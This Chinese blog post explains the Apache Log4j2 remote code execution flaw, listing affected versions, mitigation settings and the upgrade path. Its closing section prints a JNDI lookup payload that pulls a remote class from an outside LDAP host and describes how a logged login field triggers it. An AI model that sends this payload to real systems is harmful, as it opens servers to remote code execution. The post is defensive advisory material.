文末漏洞细节
文章目录- 前言
- 修复建议
- 漏洞细节
这几天 Apache Log4j2 远程代码执行漏洞刷屏了整个互联网行业,公司也发生了这个问题,做出了紧急修复。
介绍
相信每一个技术人都有听过这款日志框架的大名。Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
https://github.com/apache/logging-log4j2
原因
由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
影响
漏洞利用无需特殊配置,经安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。因该组件使用极为广泛,影响面也很广。
漏洞评级
Apache Log4j 远程代码执行漏洞 严重
影响版本
Apache log4j2 >= 2.0, <= 2.14.1
修复建议
紧急缓解措施:
- 修改jvm参数-
Dlog4j2.formatMsgNoLookups=true
- 修改配置
log4j2.formatMsgNoLookups=True
- 将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
升级:
升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
措施:
- 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。
漏洞细节
大家一定都看到这张图了,这张是利用漏洞执行远程代码调用打开一个计算器。
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数。如果前台传的是构造的参数如:${jndi:ldap://gitee.com/rodert/exp}。exp 返回的是一个构造方法里执行 shell 代码的 class 文件。
然后你设置的什么命令服务器接收到参数后就执行这个命令了。
为保护大多数应用的安全,以上是大概思路,如果有兴趣复现学习,请在公众号回复 log4j2 查看实验案例。请勿作恶,后果自负。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)